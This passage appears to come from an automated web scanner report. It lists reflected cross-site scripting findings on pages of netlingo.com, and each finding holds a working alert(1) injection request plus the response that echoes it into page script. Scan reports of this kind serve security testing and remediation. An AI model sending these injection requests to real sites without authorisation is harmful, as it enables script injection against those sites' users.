GET /press/about-netlingo.php?39c6c"-alert(1)-"4c301758d1d=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:20 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 74664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... w.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/about-netlingo.php?39c6c"-alert(1)-"4c301758d1d=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1285. http://www.netlingo.com/press/all-press-clippings.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/all-press-clippings.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 88732"-alert(1)-"9b04fa3131a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/all-press-clippings.php?88732"-alert(1)-"9b04fa3131a=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 82372
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... lingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/all-press-clippings.php?88732"-alert(1)-"9b04fa3131a=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1286. http://www.netlingo.com/press/awards.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/awards.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb457"-alert(1)-"78642e65f3e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/awards.php?cb457"-alert(1)-"78642e65f3e=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 33493
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ttp://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/awards.php?cb457"-alert(1)-"78642e65f3e=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1287. http://www.netlingo.com/press/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 25ead"-alert(1)-"6002bc417dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/index.php?25ead"-alert(1)-"6002bc417dd=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:56:42 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 33861
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/index.php?25ead"-alert(1)-"6002bc417dd=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1288. http://www.netlingo.com/press/media.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/media.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7494b"-alert(1)-"aca1aad8f53 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/media.php?7494b"-alert(1)-"aca1aad8f53=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:56:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 69742
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/media.php?7494b"-alert(1)-"aca1aad8f53=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1289. http://www.netlingo.com/press/meet-erin.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/meet-erin.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 94100"-alert(1)-"4246afee04b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/meet-erin.php?94100"-alert(1)-"4246afee04b=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38917
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/meet-erin.php?94100"-alert(1)-"4246afee04b=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1290. http://www.netlingo.com/press/print.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/print.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dcc70"-alert(1)-"b266cbdc811 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/print.php?dcc70"-alert(1)-"b266cbdc811=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:09 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 101192
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/print.php?dcc70"-alert(1)-"b266cbdc811=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1291. http://www.netlingo.com/press/teen-text-talk.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/teen-text-talk.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0cd2"-alert(1)-"e3f47516864 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/teen-text-talk.php?c0cd2"-alert(1)-"e3f47516864=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:55:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34223
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... w.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/teen-text-talk.php?c0cd2"-alert(1)-"e3f47516864=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1292. http://www.netlingo.com/press/web.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/web.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 849cd"-alert(1)-"25cb54c5360 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /press/web.php?849cd"-alert(1)-"25cb54c5360=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 80118
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ('http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/press/web.php?849cd"-alert(1)-"25cb54c5360=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1293. http://www.netlingo.com/shop/netlingo-the-dictionary.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/shop/netlingo-the-dictionary.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70646"-alert(1)-"3e8ab8b7fa9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shop/netlingo-the-dictionary.php?70646"-alert(1)-"3e8ab8b7fa9=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 36573
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... go.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/shop/netlingo-the-dictionary.php?70646"-alert(1)-"3e8ab8b7fa9=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1294. http://www.netlingo.com/shop/netlingo-the-list.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/shop/netlingo-the-list.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1ec45"-alert(1)-"79eca35260a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shop/netlingo-the-list.php?1ec45"-alert(1)-"79eca35260a=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:44 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 35889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/shop/netlingo-the-list.php?1ec45"-alert(1)-"79eca35260a=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1295. http://www.netlingo.com/shop/online-store.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/shop/online-store.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c1279"-alert(1)-"03ee14891db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shop/online-store.php?c1279"-alert(1)-"03ee14891db=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 43538
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... /www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/shop/online-store.php?c1279"-alert(1)-"03ee14891db=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1296. http://www.netlingo.com/tips/color-guide.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tips/color-guide.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b707"-alert(1)-"b4a703bddf1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tips/color-guide.php?2b707"-alert(1)-"b4a703bddf1=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:26 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 51461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... //www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tips/color-guide.php?2b707"-alert(1)-"b4a703bddf1=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1297. http://www.netlingo.com/tips/cyber-safety-statistics.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tips/cyber-safety-statistics.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3c88"-alert(1)-"cee57c976f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tips/cyber-safety-statistics.php?e3c88"-alert(1)-"cee57c976f=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38336
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... go.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tips/cyber-safety-statistics.php?e3c88"-alert(1)-"cee57c976f=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1298. http://www.netlingo.com/tips/file-extensions.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tips/file-extensions.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e085"-alert(1)-"e00943c83cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tips/file-extensions.php?8e085"-alert(1)-"e00943c83cd=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 49203
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... w.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tips/file-extensions.php?8e085"-alert(1)-"e00943c83cd=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1299. http://www.netlingo.com/tips/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tips/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 896a9"-alert(1)-"818a71d9ba5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tips/index.php?896a9"-alert(1)-"818a71d9ba5=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34468
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... 'http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tips/index.php?896a9"-alert(1)-"818a71d9ba5=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1300. http://www.netlingo.com/tips/resources.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tips/resources.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ce45"-alert(1)-"00082030088 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tips/resources.php?8ce45"-alert(1)-"00082030088=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 73613
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... p://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tips/resources.php?8ce45"-alert(1)-"00082030088=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1301. http://www.netlingo.com/tips/webcasts.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tips/webcasts.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 31820"-alert(1)-"d58a1ad0998 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tips/webcasts.php?31820"-alert(1)-"d58a1ad0998=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37222
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... tp://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tips/webcasts.php?31820"-alert(1)-"d58a1ad0998=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1302. http://www.netlingo.com/tools/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tools/index.php
Issue detail
